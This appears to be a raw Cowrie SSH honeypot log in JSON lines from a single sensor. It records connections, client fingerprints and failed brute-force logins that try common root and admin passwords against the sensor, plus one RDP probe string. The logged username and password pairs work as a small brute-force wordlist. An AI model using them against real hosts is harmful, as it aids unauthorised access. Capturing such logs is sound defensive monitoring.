{"eventid":"cowrie.login.failed","username":"root","password":"salt","message":"login attempt [root/salt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:00.151783Z","src_ip":"43.128.112.183","session":"d96e56d5678a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:00.752724Z","src_ip":"43.153.56.192","session":"255e552134c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:01.384619Z","src_ip":"43.128.112.183","session":"d96e56d5678a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61041,"dst_ip":"10.17.0.5","dst_port":22,"session":"2231a124617a","protocol":"ssh","message":"New connection: 167.172.81.52:61041 (10.17.0.5:22) [session: 2231a124617a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:07.417774Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:07.423052Z","src_ip":"167.172.81.52","session":"2231a124617a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:07.426933Z","src_ip":"167.172.81.52","session":"2231a124617a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":34686,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3a47f27dd6f","protocol":"ssh","message":"New connection: 43.173.83.154:34686 (10.17.0.5:22) [session: d3a47f27dd6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:12.296448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:12.301447Z","src_ip":"43.173.83.154","session":"d3a47f27dd6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:12.373267Z","src_ip":"43.173.83.154","session":"d3a47f27dd6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liujin","message":"login attempt [root/liujin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:12.683846Z","src_ip":"43.173.83.154","session":"d3a47f27dd6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:13.755687Z","src_ip":"43.173.83.154","session":"d3a47f27dd6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":35238,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9d2b5e1e945","protocol":"ssh","message":"New connection: 43.153.50.197:35238 (10.17.0.5:22) [session: b9d2b5e1e945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:15.502081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:15.507974Z","src_ip":"43.153.50.197","session":"b9d2b5e1e945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:15.576478Z","src_ip":"43.153.50.197","session":"b9d2b5e1e945","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tme","message":"login attempt [root/r00tme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:15.880842Z","src_ip":"43.153.50.197","session":"b9d2b5e1e945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:16.952718Z","src_ip":"43.153.50.197","session":"b9d2b5e1e945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":34846,"dst_ip":"159.203.135.109","dst_port":22,"session":"6100fe51965a","protocol":"ssh","message":"New connection: 43.135.164.198:34846 (159.203.135.109:22) [session: 6100fe51965a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:20.225844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:20.230676Z","src_ip":"43.135.164.198","session":"6100fe51965a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:20.301883Z","src_ip":"43.135.164.198","session":"6100fe51965a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikolas","message":"login attempt [root/nikolas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:20.612043Z","src_ip":"43.135.164.198","session":"6100fe51965a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":33436,"dst_ip":"10.17.0.5","dst_port":22,"session":"72e0ee3d90f8","protocol":"ssh","message":"New connection: 2.57.121.112:33436 (10.17.0.5:22) [session: 72e0ee3d90f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:20.916325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:20.921120Z","src_ip":"2.57.121.112","session":"72e0ee3d90f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:21.026663Z","src_ip":"2.57.121.112","session":"72e0ee3d90f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":59332,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0e87a29198a","protocol":"ssh","message":"New connection: 43.163.81.22:59332 (159.203.135.109:22) [session: b0e87a29198a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:21.172286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:21.177321Z","src_ip":"43.163.81.22","session":"b0e87a29198a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:21.425755Z","src_ip":"43.163.81.22","session":"b0e87a29198a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310384","message":"login attempt [admin/310384] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:21.527789Z","src_ip":"2.57.121.112","session":"72e0ee3d90f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:21.683806Z","src_ip":"43.135.164.198","session":"6100fe51965a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":52936,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dc1303789e5","protocol":"ssh","message":"New connection: 209.99.190.200:52936 (10.17.0.5:22) [session: 0dc1303789e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:21.846787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:21.852562Z","src_ip":"209.99.190.200","session":"0dc1303789e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:21.944377Z","src_ip":"209.99.190.200","session":"0dc1303789e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":37542,"dst_ip":"10.17.0.5","dst_port":22,"session":"82777723d419","protocol":"ssh","message":"New connection: 111.32.153.180:37542 (10.17.0.5:22) [session: 82777723d419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:22.099427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:22.104827Z","src_ip":"111.32.153.180","session":"82777723d419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:22.341470Z","src_ip":"209.99.190.200","session":"0dc1303789e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:22.358656Z","src_ip":"111.32.153.180","session":"82777723d419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ph03n1x","message":"login attempt [root/ph03n1x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:22.439721Z","src_ip":"43.163.81.22","session":"b0e87a29198a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31031969","message":"login attempt [admin/31031969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:22.636917Z","src_ip":"2.57.121.112","session":"72e0ee3d90f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Netwatch!@#","message":"login attempt [root/Netwatch!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:23.405473Z","src_ip":"111.32.153.180","session":"82777723d419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:23.436946Z","src_ip":"209.99.190.200","session":"0dc1303789e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:23.686857Z","src_ip":"43.163.81.22","session":"b0e87a29198a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310192","message":"login attempt [admin/310192] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:23.745616Z","src_ip":"2.57.121.112","session":"72e0ee3d90f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":53216,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c9f282eb0d6","protocol":"ssh","message":"New connection: 103.149.170.125:53216 (159.203.135.109:22) [session: 8c9f282eb0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:24.215706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:24.221665Z","src_ip":"103.149.170.125","session":"8c9f282eb0d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:24.482112Z","src_ip":"103.149.170.125","session":"8c9f282eb0d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310177","message":"login attempt [admin/310177] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:24.855727Z","src_ip":"2.57.121.112","session":"72e0ee3d90f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastena","message":"login attempt [root/nastena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:07:25.262512Z","src_ip":"103.149.170.125","session":"8c9f282eb0d6","protocol":"ssh"}
